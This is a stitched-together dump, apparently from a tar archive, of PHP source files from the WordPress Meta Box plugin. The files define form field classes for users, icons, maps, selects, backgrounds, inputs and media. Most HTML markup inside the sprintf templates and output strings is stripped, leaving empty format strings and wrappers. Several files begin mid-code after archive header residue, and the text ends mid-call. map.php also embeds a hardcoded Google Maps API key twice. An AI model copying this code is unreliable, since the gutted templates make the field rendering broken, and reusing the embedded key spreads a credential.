=== $request->filter_post( '_type' ) ) { $field['query_args']['paged'] = $request->filter_post( 'page', FILTER_SANITIZE_NUMBER_INT ); } // Query the database. $items = self::query( null, $field ); $items = array_values( $items ); $items = apply_filters( 'rwmb_ajax_get_users', $items, $field, $request ); $data = [ 'items' => $items ]; // More items for pagination. if ( $limit && count( $items ) === $limit ) { $data['more'] = true; } wp_send_json_success( $data ); } /** * Update object cache to make sure query method below always get the fresh list of users. * Unlike posts and terms, WordPress doesn't set 'last_changed' for users. * So we have to do it ourselves. * * @see clean_post_cache() */ public static function update_cache() { wp_cache_set( 'last_changed', microtime(), 'users' ); } /** * Normalize parameters for field. * * @param array $field Field parameters. * * @return array */ public static function normalize( $field ) { // Set default field args. $field = wp_parse_args( $field, [ 'placeholder' => __( 'Select a user', 'meta-box' ), 'query_args' => [], 'display_field' => 'display_name', ] ); $field = parent::normalize( $field ); // Set default query args. $limit = $field['ajax'] ? 10 : 0; $field['query_args'] = wp_parse_args( $field['query_args'], [ 'number' => $limit, ] ); parent::set_ajax_params( $field ); if ( $field['ajax'] ) { $field['js_options']['ajax_data']['field']['display_field'] = $field['display_field']; } return $field; } public static function query( $meta, array $field ): array { $display_field = $field['display_field']; $args = wp_parse_args( $field['query_args'], [ 'orderby' => $display_field, 'order' => 'asc', ] ); $args['fields'] = [ 'ID', 'user_login', 'user_nicename', 'user_url', 'user_registered', 'user_status', 'display_name', ]; $meta = wp_parse_id_list( (array) $meta ); // Query only selected items. if ( ! empty( $field['ajax'] ) && ! empty( $meta ) ) { $args['include'] = $meta; $args['number'] = count( $meta ); } // Get from cache to prevent same queries. $last_changed = wp_cache_get_last_changed( 'users' ); $key = md5( serialize( $args ) ); $cache_key = "$key:$last_changed"; $options = wp_cache_get( $cache_key, 'meta-box-user-field' ); if ( false !== $options ) { return $options; } $users = get_users( $args ); $options = []; foreach ( $users as $user ) { $label = $user->$display_field ?? __( '(No title)', 'meta-box' ); $label = self::filter( 'choice_label', $label, $field, $user ); $options[ $user->ID ] = [ 'value' => $user->ID, 'label' => $label, ]; } // Cache the query. wp_cache_set( $cache_key, $options, 'meta-box-user-field' ); return $options; } /** * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. * * @param array $field Field parameters. * @param int $value User ID. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_single_value( $field, $value, $args, $post_id ) { if ( empty( $value ) ) { return ''; } $link = $args['link'] ?? 'view'; $user = get_userdata( $value ); $display_field = $field['display_field']; $text = $user->$display_field; if ( false === $link ) { return $text; } $url = get_author_posts_url( $value ); if ( 'edit' === $link ) { $url = get_edit_user_link( $value ); } return sprintf( '%s', esc_url( $url ), esc_html( $text ) ); } public static function add_new_form( array $field ): string { if ( ! current_user_can( 'create_users' ) ) { return ''; } return sprintf( '%s', admin_url( 'user-new.php' ), esc_html__( 'Add New User', 'meta-box' ) ); } } fields/image-upload.php000064400000001317151545703130011075 0ustar00%s', $attributes, $field['name'] ); } protected static function end_html( array $field ) : string { return self::input_description( $field ); } } fields/icon.php000064400000020631151545703130007461 0ustar00 $field['icon_file'], 'icon_dir' => $field['icon_dir'], 'icon_css' => is_string( $field['icon_css'] ) ? $field['icon_css'] : '', ]; $cache_key = md5( serialize( $params ) ) . '-icons'; $icons = wp_cache_get( $cache_key, self::CACHE_GROUP ); if ( false !== $icons ) { return $icons; } $data = self::parse_icon_data( $field ); // Reformat icons. $icons = []; foreach ( $data as $key => $icon ) { $icon = self::normalize_icon( $field, $key, $icon ); if ( is_numeric( key( $icon ) ) ) { $icons = array_merge( $icons, $icon ); continue; } $icons[] = $icon; } // Cache the result. wp_cache_set( $cache_key, $icons, self::CACHE_GROUP ); return $icons; } private static function parse_icon_data( array $field ): array { $keys = [ 'icon_file', 'icon_css', 'icon_dir', ]; foreach ( $keys as $key ) { if ( ! empty( $field[ $key ] ) && is_string( $field[ $key ] ) ) { return call_user_func( [ __CLASS__, "parse_$key" ], $field ); } } return []; } private static function parse_icon_file( array $field ): array { if ( ! file_exists( $field['icon_file'] ) ) { return []; } // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents $data = (string) file_get_contents( $field['icon_file'] ); $decoded = json_decode( $data, true ); // JSON file. if ( JSON_ERROR_NONE === json_last_error() ) { return $decoded; } // Text file: each icon on a line. return array_map( 'trim', explode( "\n", $data ) ); } private static function parse_icon_css( array $field ): array { // Parse local CSS file only. $file = self::url_to_path( $field['icon_css'] ); if ( ! file_exists( $file ) ) { return []; } // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents $css = (string) file_get_contents( $file ); preg_match_all( '/\.([^\s:]+):before/', $css, $matches ); if ( empty( $matches[1] ) ) { preg_match_all( '/\.([^\s:]+)/', $css, $matches ); } return $matches[1]; } private static function parse_icon_dir( array $field ): array { $dir = $field['icon_dir']; if ( ! is_dir( $dir ) ) { return []; } $icons = []; $files = glob( trailingslashit( $dir ) . '*.svg' ); foreach ( $files as $file ) { $filename = substr( basename( $file ), 0, -4 ); $icons[] = [ 'value' => $filename, 'label' => $filename, // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents 'svg' => file_get_contents( $file ), ]; } return $icons; } private static function normalize_icon( array $field, $key, $icon ): array { // Default: Font Awesome Free. if ( $field['icon_set'] === 'font-awesome-free' ) { $style = $icon['styles'][0]; return [ 'value' => "fa-{$style} fa-{$key}", 'label' => $icon['label'], 'svg' => $icon['svg'][ $style ]['raw'], ]; } // Font Awesome Pro. if ( $field['icon_set'] === 'font-awesome-pro' ) { $icons = []; foreach ( $icon['styles'] as $style ) { $icons[] = [ 'value' => "fa-{$style} fa-{$key}", 'label' => "{$icon[ 'label' ]} ({$style})", 'svg' => $icon['svg'][ $style ]['raw'], ]; } return $icons; } // JSON file: "icon-class": { "label": "Label", "svg": "" } or from `icon_dir`. if ( is_array( $icon ) ) { return [ 'value' => $icon['value'] ?? $key, 'label' => $icon['label'] ?? $key, 'svg' => $icon['svg'] ?? '', ]; } // JSON file: "icon-class": "Label" or "icon-class": "". if ( is_string( $key ) ) { $label = str_contains( $icon, ' $key, 'label' => $label, 'svg' => $svg, ]; } // Parse classes from CSS. if ( $field['icon_css'] && ! $field['icon_file'] ) { $icon = trim( $field['icon_base_class'] . ' ' . $icon ); } // Text file: each icon on a line. return [ 'value' => $icon, 'label' => $icon, 'svg' => '', ]; } private static function get_svg( array $field, string $value ): string { $file = trailingslashit( $field['icon_dir'] ) . $value . '.svg'; // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents return file_exists( $file ) ? file_get_contents( $file ) : ''; } private static function get_options( array $field ): array { $icons = self::get_icons( $field ); $options = []; foreach ( $icons as $icon ) { $svg = ! $icon['svg'] && $field['icon_dir'] ? self::get_svg( $field, $icon['value'] ) : $icon['svg']; $options[] = [ 'value' => $icon['value'], 'label' => $svg . $icon['label'], ]; } return $options; } /** * Normalize field settings. * * @param array $field Field settings. * @return array */ public static function normalize( $field ) { $field = wp_parse_args( $field, [ 'placeholder' => __( 'Select an icon', 'meta-box' ), 'icon_css' => '', 'icon_set' => '', 'icon_file' => '', 'icon_dir' => '', 'icon_base_class' => '', ] ); // Ensure absolute paths and URLs. $field['icon_file'] = self::ensure_absolute_path( $field['icon_file'] ); $field['icon_dir'] = self::ensure_absolute_path( $field['icon_dir'] ); if ( is_string( $field['icon_css'] ) && $field['icon_css'] ) { $field['icon_css'] = self::ensure_absolute_url( $field['icon_css'] ); } // Font Awesome Pro. if ( $field['icon_set'] === 'font-awesome-pro' ) { } elseif ( $field['icon_file'] || $field['icon_dir'] || $field['icon_css'] ) { // Custom icon set. $field['icon_set'] = 'custom'; } else { // Font Awesome Free. $field['icon_set'] = 'font-awesome-free'; $field['icon_file'] = RWMB_DIR . 'css/fontawesome/icons.json'; } $field['options'] = self::get_options( $field ); $field = parent::normalize( $field ); return $field; } /** * Format value for the helper functions. * * @param array $field Field parameters. * @param string|array $value The field meta value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_single_value( $field, $value, $args, $post_id ) { // SVG from file. if ( $field['icon_dir'] ) { return self::get_svg( $field, $value ); } $icons = self::get_icons( $field ); $key = array_search( $value, array_column( $icons, 'value' ) ); if ( false === $key ) { return ''; } // Embed SVG. if ( $icons[ $key ]['svg'] ) { return $icons[ $key ]['svg']; } // Render with class and use css. self::enqueue_icon_font_style( $field ); return sprintf( '', $value ); } private static function url_to_path( string $url ): string { return str_starts_with( $url, home_url( '/' ) ) ? str_replace( home_url( '/' ), trailingslashit( ABSPATH ), $url ) : ''; } private static function ensure_absolute_path( string $path ): string { if ( ! $path || file_exists( $path ) ) { return $path; } $root = wp_normalize_path( ABSPATH ); $path = wp_normalize_path( $path ); return str_starts_with( $path, $root ) ? $path : trailingslashit( $root ) . ltrim( $path, '/' ); } private static function ensure_absolute_url( string $url ): string { return filter_var( $url, FILTER_VALIDATE_URL ) ? $url : home_url( $url ); } } fields/single-image.php000064400000003352151545703130011073 0ustar00 '', 'data-single-image' => 1, ] ); $field['attributes']['class'] .= ' rwmb-image_advanced'; $field['multiple'] = false; return $field; } /** * Get meta values to save. * * @param mixed $new The submitted meta value. * @param mixed $old The existing meta value. * @param int $post_id The post ID. * @param array $field The field parameters. * * @return array|mixed */ public static function value( $new, $old, $post_id, $field ) { return $new; } /** * Get the field value. Return meaningful info of the files. * * @param array $field Field parameters. * @param array $args Not used for this field. * @param int|null $post_id Post ID. null for current post. Optional. * * @return mixed Full info of uploaded files */ public static function get_value( $field, $args = [], $post_id = null ) { $value = RWMB_Field::get_value( $field, $args, $post_id ); if ( ! is_array( $value ) ) { return RWMB_Image_Field::file_info( $value, $args, $field ); } $return = []; foreach ( $value as $image_id ) { $return[] = RWMB_Image_Field::file_info( $image_id, $args, $field ); } return $return; } } fields/video.php000064400000007437151545703130007650 0ustar00 wp_get_video_extensions(), ] ); } /** * Normalize parameters for field. * * @param array $field Field parameters. * * @return array */ public static function normalize( $field ) { $field['mime_type'] = 'video'; $field = parent::normalize( $field ); return $field; } /** * Get uploaded file information. * * @param int $file_id Attachment image ID (post ID). Required. * @param array $args Array of arguments (for size). * @param array $field Field settings. * * @return array|bool False if file not found. Array of image info on success. */ public static function file_info( $file_id, $args = [], $field = [] ) { if ( ! get_attached_file( $file_id ) ) { return false; } $attachment = get_post( $file_id ); $url = wp_get_attachment_url( $attachment->ID ); $file_type = wp_check_filetype( $url, wp_get_mime_types() ); $data = [ 'ID' => $file_id, 'src' => $url, 'type' => $file_type['type'], 'title' => $attachment->post_title, 'caption' => $attachment->post_excerpt, 'description' => $attachment->post_content, ]; $data['meta'] = []; $meta = wp_get_attachment_metadata( $attachment->ID ); if ( ! empty( $meta ) ) { foreach ( wp_get_attachment_id3_keys( $attachment ) as $key => $label ) { if ( ! empty( $meta[ $key ] ) ) { $data['meta'][ $key ] = $meta[ $key ]; } } if ( ! empty( $meta['width'] ) && ! empty( $meta['height'] ) ) { $data['dimensions'] = [ 'width' => $meta['width'], 'height' => $meta['height'], ]; } else { $data['dimensions'] = [ 'width' => 640, 'height' => 360, ]; } } $thumb_id = get_post_thumbnail_id( $attachment->ID ); if ( ! empty( $thumb_id ) ) { list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'full' ); $data['image'] = compact( 'src', 'width', 'height' ); list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'thumbnail' ); $data['thumb'] = compact( 'src', 'width', 'height' ); } else { $src = wp_mime_type_icon( $attachment->ID ); $width = 48; $height = 64; $data['image'] = compact( 'src', 'width', 'height' ); $data['thumb'] = compact( 'src', 'width', 'height' ); } return $data; } /** * Format value for a clone. * * @param array $field Field parameters. * @param string|array $value The field meta value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_clone_value( $field, $value, $args, $post_id ) { $ids = implode( ',', wp_list_pluck( $value, 'ID' ) ); // Display single video. if ( 1 === count( $value ) ) { $video = reset( $value ); return wp_video_shortcode( [ 'src' => $video['src'], 'width' => $video['dimensions']['width'], 'height' => $video['dimensions']['height'], ] ); } // Display multiple videos in a playlist. return wp_playlist_shortcode( [ 'ids' => $ids, 'type' => 'video', ] ); } } fields/map.php000064400000014764151545703130007320 0ustar00 $field['api_key'], 'language' => $field['language'], 'libraries' => 'places', ], 'https://maps.google.com/maps/api/js' ); /** * Allows developers load more libraries via a filter. * @link https://developers.google.com/maps/documentation/javascript/libraries */ $google_maps_url = apply_filters( 'rwmb_google_maps_url', $google_maps_url ); wp_register_script( 'google-maps', esc_url_raw( $google_maps_url ), [], RWMB_VER, true ); wp_enqueue_script( 'rwmb-map', RWMB_JS_URL . 'map.js', [ 'jquery-ui-autocomplete', 'google-maps' ], RWMB_VER, true ); RWMB_Helpers_Field::localize_script_once( 'rwmb-map', 'RWMB_Map', [ 'no_results_string' => __( 'No results found', 'meta-box' ), ] ); } /** * Get field HTML. * * @param mixed $meta Meta value. * @param array $field Field parameters. * * @return string */ public static function html( $meta, $field ) { $address = is_array( $field['address_field'] ) ? implode( ',', $field['address_field'] ) : $field['address_field']; $html = sprintf( '
', esc_attr( $address ) ); $attributes = self::get_attributes( $field, $meta ); $attributes['type'] = 'hidden'; $attributes['value'] = $meta; $html .= sprintf( '
', esc_attr( $field['std'] ), esc_attr( $field['region'] ), esc_attr( $field['marker_draggable'] ? 'true' : 'false' ), self::render_attributes( $attributes ) ); $html .= '
'; return $html; } /** * Normalize parameters for field. * * @param array $field Field parameters. * * @return array */ public static function normalize( $field ) { $field = parent::normalize( $field ); $field = wp_parse_args( $field, [ 'std' => '', 'address_field' => '', 'language' => '', 'region' => '', 'marker_draggable' => true, // Default API key, required by Google Maps since June 2016. // Users should overwrite this key with their own key. 'api_key' => 'AIzaSyC1mUh87SGFyf133tpZQJa-s96p0tgnraQ', ] ); return $field; } /** * Get the field value. * The difference between this function and 'meta' function is 'meta' function always returns the escaped value * of the field saved in the database, while this function returns more meaningful value of the field. * * @param array $field Field parameters. * @param array $args Not used for this field. * @param int|null $post_id Post ID. null for current post. Optional. * * @return mixed Array(latitude, longitude, zoom) */ public static function get_value( $field, $args = [], $post_id = null ) { $value = parent::get_value( $field, $args, $post_id ); if ( is_array( $value ) ) { $location = []; foreach ( $value as $clone ) { list( $latitude, $longitude, $zoom ) = explode( ',', $clone . ',,' ); $location[] = compact( 'latitude', 'longitude', 'zoom' ); } return $location; } list( $latitude, $longitude, $zoom ) = explode( ',', $value . ',,' ); return compact( 'latitude', 'longitude', 'zoom' ); } /** * Format value before render map * @param mixed $field * @param mixed $value * @param mixed $args * @param mixed $post_id * @return string */ public static function format_single_value( $field, $value, $args, $post_id ): string { $args = wp_parse_args( $args, [ 'api_key' => $field['api_key'] ?? '', ] ); return self::render_map( $value, $args ); } /** * Render a map in the frontend. * * @param string $location The "latitude,longitude[,zoom]" location. * @param array $args Additional arguments for the map. * * @return string */ public static function render_map( $location, $args = [] ) { // For compatibility with previous version, or within groups. if ( is_string( $location ) ) { list( $latitude, $longitude, $zoom ) = explode( ',', $location . ',,' ); } else { extract( $location ); } if ( ! $latitude || ! $longitude ) { return ''; } $args = wp_parse_args( $args, [ 'latitude' => $latitude, 'longitude' => $longitude, 'width' => '100%', 'height' => '480px', 'marker' => true, // Display marker? 'marker_title' => '', // Marker title, when hover. 'info_window' => '', // Content of info window (when click on marker). HTML allowed. 'js_options' => [], 'zoom' => $zoom, // Default API key, required by Google Maps since June 2016. // Users should overwrite this key with their own key. 'api_key' => 'AIzaSyC1mUh87SGFyf133tpZQJa-s96p0tgnraQ', ] ); $google_maps_url = add_query_arg( 'key', $args['api_key'], 'https://maps.google.com/maps/api/js' ); /* * Allows developers load more libraries via a filter. * @link https://developers.google.com/maps/documentation/javascript/libraries */ $google_maps_url = apply_filters( 'rwmb_google_maps_url', $google_maps_url ); wp_register_script( 'google-maps', esc_url_raw( $google_maps_url ), [], RWMB_VER, true ); wp_enqueue_script( 'rwmb-map-frontend', RWMB_JS_URL . 'map-frontend.js', [ 'google-maps', 'jquery' ], RWMB_VER, true ); /* * Google Maps options. * Option name is the same as specified in Google Maps documentation. * This array will be convert to Javascript Object and pass as map options. * @link https://developers.google.com/maps/documentation/javascript/reference */ $args['js_options'] = wp_parse_args( $args['js_options'], [ // Default to 'zoom' level set in admin, but can be overwritten. 'zoom' => $args['zoom'], // Map type, see https://developers.google.com/maps/documentation/javascript/reference#MapTypeId. 'mapTypeId' => 'ROADMAP', // Open Info Window 'openInfoWindow' => false, ] ); $output = sprintf( '
', esc_attr( wp_json_encode( $args ) ), esc_attr( $args['width'] ), esc_attr( $args['height'] ) ); return $output; } } fields/select.php000064400000004770151545703130010016 0ustar00', self::render_attributes( $attributes ) ); if ( ! $field['multiple'] && $field['placeholder'] ) { $output .= ''; } $output .= $walker->walk( $options, $field['flatten'] ? -1 : 0 ); $output .= ''; $output .= self::get_select_all_html( $field ); return $output; } /** * Normalize parameters for field. * * @param array $field Field parameters. * @return array */ public static function normalize( $field ) { $field = parent::normalize( $field ); $field = $field['multiple'] ? RWMB_Multiple_Values_Field::normalize( $field ) : $field; $field = wp_parse_args( $field, [ 'select_all_none' => false, ] ); return $field; } /** * Get the attributes for a field. * * @param array $field Field parameters. * @param mixed $value Meta value. * * @return array */ public static function get_attributes( $field, $value = null ) { $attributes = parent::get_attributes( $field, $value ); $attributes = wp_parse_args( $attributes, [ 'multiple' => $field['multiple'], ] ); return $attributes; } /** * Get html for select all|none for multiple select. * * @param array $field Field parameters. * @return string */ public static function get_select_all_html( $field ) { if ( $field['multiple'] && $field['select_all_none'] ) { return ''; } return ''; } } fields/background.php000064400000012505151545703130010651 0ustar00 'color', 'id' => "{$field['id']}_color", 'field_name' => "{$field['field_name']}[color]", 'alpha_channel' => true, ] ); RWMB_Color_Field::admin_enqueue_scripts( $color ); RWMB_File_Input_Field::admin_enqueue_scripts(); } /** * Get field HTML. * * @param mixed $meta Meta value. * @param array $field Field settings. * * @return string */ public static function html( $meta, $field ) { $meta = wp_parse_args( $meta, [ 'color' => '', 'image' => '', 'repeat' => '', 'attachment' => '', 'position' => '', 'size' => '', ] ); $output = '
'; // Color. $color = RWMB_Color_Field::normalize( [ 'type' => 'color', 'id' => "{$field['id']}_color", 'field_name' => "{$field['field_name']}[color]", 'alpha_channel' => true, ] ); $output .= RWMB_Color_Field::html( $meta['color'], $color ); $output .= '
'; $output .= '
'; // Image. $image = RWMB_File_Input_Field::normalize( [ 'type' => 'file_input', 'id' => "{$field['id']}_image", 'field_name' => "{$field['field_name']}[image]", 'placeholder' => __( 'Background Image', 'meta-box' ), ] ); $output .= RWMB_File_Input_Field::html( $meta['image'], $image ); $output .= '
'; $output .= '
'; // Repeat. $repeat = RWMB_Select_Field::normalize( [ 'type' => 'select', 'id' => "{$field['id']}_repeat", 'field_name' => "{$field['field_name']}[repeat]", 'placeholder' => esc_html__( '-- Repeat --', 'meta-box' ), 'options' => [ 'no-repeat' => esc_html__( 'No Repeat', 'meta-box' ), 'repeat' => esc_html__( 'Repeat All', 'meta-box' ), 'repeat-x' => esc_html__( 'Repeat Horizontally', 'meta-box' ), 'repeat-y' => esc_html__( 'Repeat Vertically', 'meta-box' ), 'inherit' => esc_html__( 'Inherit', 'meta-box' ), ], ] ); $output .= RWMB_Select_Field::html( $meta['repeat'], $repeat ); // Position. $position = RWMB_Select_Field::normalize( [ 'type' => 'select', 'id' => "{$field['id']}_position", 'field_name' => "{$field['field_name']}[position]", 'placeholder' => esc_html__( '-- Position --', 'meta-box' ), 'options' => [ 'top left' => esc_html__( 'Top Left', 'meta-box' ), 'top center' => esc_html__( 'Top Center', 'meta-box' ), 'top right' => esc_html__( 'Top Right', 'meta-box' ), 'center left' => esc_html__( 'Center Left', 'meta-box' ), 'center center' => esc_html__( 'Center Center', 'meta-box' ), 'center right' => esc_html__( 'Center Right', 'meta-box' ), 'bottom left' => esc_html__( 'Bottom Left', 'meta-box' ), 'bottom center' => esc_html__( 'Bottom Center', 'meta-box' ), 'bottom right' => esc_html__( 'Bottom Right', 'meta-box' ), ], ] ); $output .= RWMB_Select_Field::html( $meta['position'], $position ); // Attachment. $attachment = RWMB_Select_Field::normalize( [ 'type' => 'select', 'id' => "{$field['id']}_attachment", 'field_name' => "{$field['field_name']}[attachment]", 'placeholder' => esc_html__( '-- Attachment --', 'meta-box' ), 'options' => [ 'fixed' => esc_html__( 'Fixed', 'meta-box' ), 'scroll' => esc_html__( 'Scroll', 'meta-box' ), 'inherit' => esc_html__( 'Inherit', 'meta-box' ), ], ] ); $output .= RWMB_Select_Field::html( $meta['attachment'], $attachment ); // Size. $size = RWMB_Select_Field::normalize( [ 'type' => 'select', 'id' => "{$field['id']}_size", 'field_name' => "{$field['field_name']}[size]", 'placeholder' => esc_html__( '-- Size --', 'meta-box' ), 'options' => [ 'inherit' => esc_html__( 'Inherit', 'meta-box' ), 'cover' => esc_html__( 'Cover', 'meta-box' ), 'contain' => esc_html__( 'Contain', 'meta-box' ), ], ] ); $output .= RWMB_Select_Field::html( $meta['size'], $size ); $output .= '
'; return $output; } /** * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. * * @param array $field Field parameters. * @param array $value The value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_single_value( $field, $value, $args, $post_id ) { if ( empty( $value ) ) { return ''; } $output = ''; $value = array_filter( $value ); foreach ( $value as $key => $subvalue ) { $subvalue = 'image' === $key ? 'url(' . esc_url( $subvalue ) . ')' : $subvalue; $output .= 'background-' . $key . ': ' . $subvalue . ';'; } return $output; } } fields/button-group.php000064400000003532151545703130011177 0ustar00', $field['inline'] ? 'rwmb-inline' : '' ); $output .= $walker->walk( $options, -1 ); $output .= ''; return $output; } /** * Normalize parameters for field. * * @param array $field Field parameters. * * @return array */ public static function normalize( $field ) { $field = parent::normalize( $field ); $field = wp_parse_args( $field, [ 'inline' => true, ] ); $field = $field['multiple'] ? RWMB_Multiple_Values_Field::normalize( $field ) : $field; $field = RWMB_Input_Field::normalize( $field ); $field['flatten'] = true; return $field; } /** * Get the attributes for a field. * * @param array $field Field parameters. * @param mixed $value Meta value. * * @return array */ public static function get_attributes( $field, $value = null ) { $attributes = RWMB_Input_Field::get_attributes( $field, $value ); $attributes['id'] = false; $attributes['type'] = $field['multiple'] ? 'checkbox' : 'radio'; $attributes['value'] = $value; return $attributes; } } fields/choice.php000064400000003541151545703130007764 0ustar00 true, 'options' => [], ] ); // Use callback: function_name format from Meta Box Builder. if ( isset( $field['_callback'] ) && is_callable( $field['_callback'] ) ) { $field['options'] = call_user_func( $field['_callback'] ); } return $field; } public static function transform_options( $options ) : array { $transformed = []; $options = (array) $options; foreach ( $options as $value => $label ) { $option = is_array( $label ) ? $label : [ 'label' => (string) $label, 'value' => (string) $value, ]; if ( isset( $option['label'] ) && isset( $option['value'] ) ) { $transformed[ $option['value'] ] = (object) $option; } } return $transformed; } /** * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. * * @param array $field Field parameters. * @param string $value The value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_single_value( $field, $value, $args, $post_id ) { $options = self::transform_options( $field['options'] ); return isset( $options[ $value ] ) ? $options[ $value ]->label : ''; } } fields/date.php000064400000001143151545703130007443 0ustar00 false, 'js_options' => [], ] ); $field['js_options'] = wp_parse_args( $field['js_options'], [ 'defaultColor' => false, 'hide' => true, 'palettes' => true, ] ); $field = parent::normalize( $field ); return $field; } /** * Get the attributes for a field. * * @param array $field Field parameters. * @param mixed $value Meta value. * * @return array */ public static function get_attributes( $field, $value = null ) { $attributes = parent::get_attributes( $field, $value ); $attributes = wp_parse_args( $attributes, [ 'data-options' => wp_json_encode( $field['js_options'] ), ] ); $attributes['type'] = 'text'; if ( $field['alpha_channel'] ) { $attributes['data-alpha-enabled'] = 'true'; $attributes['data-alpha-color-type'] = 'hex'; } return $attributes; } /** * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. * * @param array $field Field parameters. * @param string $value The value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_single_value( $field, $value, $args, $post_id ) { return sprintf( "", $value ); } } fields/custom-html.php000064400000001132151545703130011000 0ustar00', $field['collapse'] ? ' rwmb-collapse' : '', $field['inline'] ? ' rwmb-inline' : '' ); $output .= $walker->walk( $options, $field['flatten'] ? -1 : 0 ); $output .= ''; return $output; } /** * Normalize parameters for field. * * @param array $field Field parameters. * @return array */ public static function normalize( $field ) { $field = $field['multiple'] ? RWMB_Multiple_Values_Field::normalize( $field ) : $field; $field = RWMB_Input_Field::normalize( $field ); $field = parent::normalize( $field ); $field = wp_parse_args( $field, [ 'collapse' => true, 'inline' => null, 'select_all_none' => false, ] ); $field['flatten'] = $field['multiple'] ? $field['flatten'] : true; $field['inline'] = ! $field['multiple'] && ! isset( $field['inline'] ) ? true : $field['inline']; return $field; } /** * Get the attributes for a field. * * @param array $field Field parameters. * @param mixed $value Meta value. * * @return array */ public static function get_attributes( $field, $value = null ) { $attributes = RWMB_Input_Field::get_attributes( $field, $value ); $attributes['id'] = false; $attributes['type'] = $field['multiple'] ? 'checkbox' : 'radio'; $attributes['value'] = $value; return $attributes; } /** * Get html for select all|none for multiple checkbox. * * @param array $field Field parameters. * @return string */ public static function get_select_all_html( $field ) { if ( $field['multiple'] && $field['select_all_none'] ) { return sprintf( '

', $field['id'], __( 'Toggle All', 'meta-box' ) ); } return ''; } } fields/slider.php000064400000004441151545703130010014 0ustar00
%s%s%s ', $field['id'], esc_attr( wp_json_encode( $field['js_options'] ) ), $field['prefix'], $meta, $field['suffix'], $meta, self::render_attributes( $attributes ) ); } /** * Normalize parameters for field. * * @param array $field Field parameters. * * @return array */ public static function normalize( $field ) { $field = parent::normalize( $field ); $field = wp_parse_args( $field, [ 'prefix' => '', 'suffix' => '', 'std' => '', 'js_options' => [], ] ); $field['js_options'] = wp_parse_args( $field['js_options'], [ 'range' => 'min', // range = 'min' will add a dark background to sliding part, better UI. 'value' => $field['std'], ] ); return $field; } } fields/taxonomy-advanced.php000064400000005541151545703130012155 0ustar00 $field['taxonomy'], 'include' => $term_ids, 'hide_empty' => false, ], $args ); $info = get_terms( $args ); $info = is_array( $info ) ? $info : []; return $field['multiple'] ? $info : reset( $info ); } } fields/input.php000064400000005714151545703130007675 0ustar00 fields. */ abstract class RWMB_Input_Field extends RWMB_Field { public static function admin_enqueue_scripts() { wp_enqueue_style( 'rwmb-input', RWMB_CSS_URL . 'input.css', [], RWMB_VER ); wp_style_add_data( 'rwmb-input', 'path', RWMB_CSS_DIR . 'input.css' ); } /** * Get field HTML. * * @param mixed $meta Meta value. * @param array $field Field parameters. * @return string */ public static function html( $meta, $field ) { $output = ''; if ( $field['prepend'] || $field['append'] ) { $output = '
'; } if ( $field['prepend'] ) { $output .= '' . $field['prepend'] . ''; } $attributes = static::get_attributes( $field, $meta ); $output .= sprintf( '%s', self::render_attributes( $attributes ), self::datalist( $field ) ); if ( $field['append'] ) { $output .= '' . $field['append'] . ''; } if ( $field['prepend'] || $field['append'] ) { $output .= '
'; } return $output; } /** * Normalize parameters for field. * * @param array $field Field parameters. * @return array */ public static function normalize( $field ) { $field = parent::normalize( $field ); $field = wp_parse_args( $field, [ 'autocomplete' => false, 'datalist' => false, 'readonly' => false, 'maxlength' => false, 'minlength' => false, 'pattern' => false, 'prepend' => '', 'append' => '', ] ); if ( $field['datalist'] ) { $field['datalist'] = wp_parse_args( $field['datalist'], [ 'id' => $field['id'] . '_list', 'options' => [], ] ); } return $field; } /** * Get the attributes for a field. * * @param array $field Field parameters. * @param mixed $value Meta value. * @return array */ public static function get_attributes( $field, $value = null ) { $attributes = parent::get_attributes( $field, $value ); $attributes = wp_parse_args( $attributes, [ 'autocomplete' => $field['autocomplete'], 'list' => $field['datalist'] ? $field['datalist']['id'] : false, 'readonly' => $field['readonly'], 'maxlength' => $field['maxlength'], 'minlength' => $field['minlength'], 'pattern' => $field['pattern'], 'value' => $value, 'placeholder' => $field['placeholder'], 'type' => $field['type'], ] ); if ( isset( $field['size'] ) ) { $attributes['size'] = $field['size']; } return $attributes; } protected static function datalist( array $field ): string { if ( empty( $field['datalist'] ) ) { return ''; } $datalist = $field['datalist']; $html = sprintf( '', $datalist['id'] ); foreach ( $datalist['options'] as $option ) { $html .= sprintf( '', $option ); } $html .= ''; return $html; } } fields/image-advanced.php000064400000004265151545703130011363 0ustar00 'thumbnail', ] ); $field = parent::normalize( $field ); $field['js_options'] = wp_parse_args( $field['js_options'], [ 'imageSize' => $field['image_size'], ] ); return $field; } /** * Get the field value. * * @param array $field Field parameters. * @param array $args Additional arguments. * @param ?int $post_id Post ID. * @return mixed */ public static function get_value( $field, $args = [], $post_id = null ) { return RWMB_Image_Field::get_value( $field, $args, $post_id ); } /** * Get uploaded file information. * * @param int $file Attachment image ID (post ID). Required. * @param array $args Array of arguments (for size). * @param array $field Field settings. * * @return array|bool False if file not found. Array of image info on success. */ public static function file_info( $file, $args = [], $field = [] ) { return RWMB_Image_Field::file_info( $file, $args, $field ); } /** * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. * * @param array $field Field parameters. * @param array $value The value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_single_value( $field, $value, $args, $post_id ) { return RWMB_Image_Field::format_single_value( $field, 